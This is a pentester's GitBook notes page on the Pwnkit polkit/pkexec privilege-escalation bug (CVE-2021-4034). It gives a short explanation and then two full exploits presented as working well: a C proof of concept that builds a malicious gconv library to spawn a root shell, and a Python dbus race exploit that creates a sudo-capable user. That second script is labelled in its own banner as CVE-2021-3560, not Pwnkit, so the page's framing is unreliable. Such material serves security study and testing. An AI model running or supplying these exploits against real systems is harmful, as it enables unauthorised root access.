pirate.moo's gitbook
  • 🏴‍☠️pirate.moo's gitbook
  • WEB
    • OWASP TOP 10
    • Notes
    • Lab Write-Ups
      • SQLi in WHERE clause
  • PENTESTING
    • CHECKLIST
    • REPORTING
    • SCRIPTS
  • EXPLOITATION
    • reverse shells
    • dns/subdomain
    • ssl
    • Handy cmds
    • VULNERABILITIES
      • Log4Shell
      • Dirty Pipe
      • Pwnkit
  • CTF
    • CTF Tools
  • CERTIFICATIONS
    • PNPT
    • CPTS
      • 1. Process
      • 2. Getting Started
      • 3. NMAP
      • 4. Footprinting
        • FTP
        • SNMP
        • SMB
        • NFS
        • MySQL/MSSQL
        • Oracle TNS
    • CPTS Machines
      • Nibbles
    • OSCP
    • ISC2-cc
      • 1. Security Principles
      • 2. Incident Response
      • 3. Access Control
      • 4. Network Security
      • 5. Security Operations
  • MOBILE
    • History
    • Forensics
  • MOOSINT
Powered by GitBook
On this page
  1. EXPLOITATION
  2. VULNERABILITIES

Pwnkit

PreviousDirty PipeNextCTF

Last updated 1 year ago

Polkit or PolicyKit controls system-wide privileges and provides a way for non-privileged users to communicate with privileged ones. pkexec allows polkit to execute commands with escalated privileges, which is where a memory corruption bug dating back to 2009, was found in 2022.

The CVE-2021-4034 bug works on most Linux distributions that are not patched.

How it Works[]

Research regarding PwnKit can be found here:

pkexec’s main() function processes command-line arguments, which searches for the program to be executed. If the path is not absolute, it checks directories of the PATH environment variable, which creates a pointer to the string and is written out-of-bounds if the name exists to envp[0]; This means that out-of-bounds write allows us to create an insecure environment variable into pkexec's environment, which is normally removed from SUID programs before main() is called:

main (int argc, char *argv[])
{
    for (n = 1; n < (guint) argc; n++)
    {

    }
    path = g_strdup (argv[n]);
    if (path[0] != '/')
    {
        s = g_find_program_in_path (path);
        argv[n] = path = s;
        }

Below are two primary exploits that are known to work well:

  • The first is the original PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

void fatal(char *f) {
    perror(f);
    exit(-1);
}

void compile_so() {
    FILE *f = fopen("payload.c", "wb");
    if (f == NULL) {
        fatal("fopen");
    }

    char so_code[]=
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n"
        "void gconv() {\n"
        "  return;\n"
        "}\n"
        "void gconv_init() {\n"
        "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
        "  static char *a_argv[] = { \"sh\", NULL };\n"
        "  static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
        "  execve(\"/bin/sh\", a_argv, a_envp);\n"
        "  exit(0);\n"
        "}\n";

    fwrite(so_code, strlen(so_code), 1, f);
    fclose(f);

    system("gcc -o payload.so -shared -fPIC payload.c");
}

int main(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };

    printf("[~] compile helper..\n");
    compile_so();

    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}
import os
import sys
import time
import subprocess
import random
import pwd


print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3)

check = True
counter = 0
while check:
	counter = counter +1
	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
	try:
    		#print('1 - Running in process', process.pid)
		Random = random.uniform(0.006,0.009)
		process.wait(timeout=Random)
		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

	user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
	if user.find("uid") != -1:
		print("[+] User Created with the name of ahmed")
		print("[+] Timed out at: "+str(Random))
		check =False
		break
	if counter > 2000:
		print("[-] Couldn't add the user, try again it may work")
		sys.exit(0)


for i in range(200):
	#print(i)
	uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid)

	#In case you need to put a password un-comment the code below and put your password after string:yourpassword'
	password = "string:"
	#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
	#password = f"string:{res.rstrip()}"

	process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
	try:
    		#print('1 - Running in process', process.pid)
    		Random = random.uniform(0.006,0.009)
    		process.wait(timeout=Random)
    		process.kill()
	except subprocess.TimeoutExpired:
    		#print('Timed out - killing', process.pid)
    		process.kill()

print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ")

p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)
edit
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Page cover image